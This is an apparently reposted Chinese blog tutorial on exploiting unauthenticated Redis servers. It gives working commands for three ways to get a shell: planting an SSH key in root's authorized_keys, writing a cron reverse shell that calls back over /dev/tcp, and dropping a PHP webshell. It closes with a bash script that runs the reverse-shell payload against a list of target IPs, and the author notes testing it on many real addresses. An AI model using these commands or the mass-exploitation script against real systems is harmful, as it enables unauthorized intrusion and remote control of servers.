Redis未授权访问复现+批量自动getshell脚本


Redis未授权访问+批量自动getshell脚本

漏洞产生条件

 

  • redis绑定在 0.0.0.0:6379,且没有对登录IP做限制,直接暴露在公网。
  • 没有设置密码(默认为空)。

 

漏洞危害

 

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

 

漏洞复现

 

下载安装:

 

https://redis.io/download

 

分别为稳定版和不稳定版本。

 

 

 

 

解压安装

 

tar -zxvf redis-6.0.8.tar.gz # 解压 gcc -v # 依赖于gcc apt install gcc cd redis-6.0.8 make # 编译安装 # 开始编译了几次都不成功,后面升级了gcc版本就一步到位了。

 

 

安装完毕后弹出结果不一样也无所有,只要redis-service, redis-cli文件存在即可。

 

cd src  
cp redis-server /usr/bin/  
cp redis-cli /usr/bin/
cd … 
cp redis.conf /etc/ 
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

 

 

 

 

验证漏洞

 

 

 

如果没有redis-客户端环境也可下载可视化客户端进行连接。连接密码为空,不过工具有点问题,时常连不上。

 

 https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0

 

 

 

GetShell

 

一: 公私钥认证获取root权限

 

  1. ssh免密配置

 

前提是受害者的机器上存在 /root/.ssh/ 目录。

 

  1. 攻击者生成ssh公私密钥

 

ssh-keygen -t rsa  
# 一直回车即可

 

 

  1. 在攻击者机器上将密钥写入受害者机器

 

cd .ssh/ 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt 
#将生成的公钥保存到redistest.txt
cat redistest.txt | redis-cli -h 受害者ip -x set redistest 
#将保存ssh公钥的redistext.txt写入redis

 

 

5.登录受害者IP查看

 

redis-cli -h 受害ip
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save

 

 

  1. 进行ssh登录尝试

 

ssh -i id_rsa root@ip  -p 22 
# 需要root

 

 

二: 计划任务反弹shell

 

  • 条件: redis以root身份运行

 

  1. 在服务器用nc监听

 

nc -lvvp 1234

 

 

2 .连接redis后写入shell

 

redis-cli -h 192.168.246.130
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"
config set dbfilename root
save

 

 

三:绝对路径写webshell

 

  • 条件: 知道网站绝对路径

 

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set shell "<?php phpinfo(); ?>"
save

 

 

Shell脚本批量反弹

 

  • 条件: 客户端上装了redis-cli

 

#!/bin/bash
getshell(){
echo "-----分割线-----"
redis-cli -h $i  2>&1 <<eeooff
config get dir
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"  
config set dbfilename root
save
exit
eeooff
echo done!
}

ip=$IFSa
if [ $# -ne 1 ];then
       echo "Usage $0 filename"
       exit
fi
if [ ! -f $1 ];then
        echo " $1 is not a file"
        exit
fi
if [ -f log.txt ];then
        echo "log.txt existing"
        `rm -f log.txt`
fi
IFS=$'\n'
for i in `cat $1`
        do
                echo $i

                getshell >>log.txt
                #sleep 3s  

                echo $i >> log.txt
        done
 
     

运行完后会生成一个log.txt文件。

 

未开放端口

 

 

不存在/var/spool/cron目录

 

 

 

save失败,一般是没权限

 

 

 

 

像这种的就是成功了

 

 

 

手工测试了好多ip,虽然存在未授权访问漏洞的有很多。但是能利用的很少,出现最多的就是权限不足。和目录不存在,只要有权限save就可以考虑别的方法getshell。

如果哪里有错误请指出改正

 

 

 

 

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM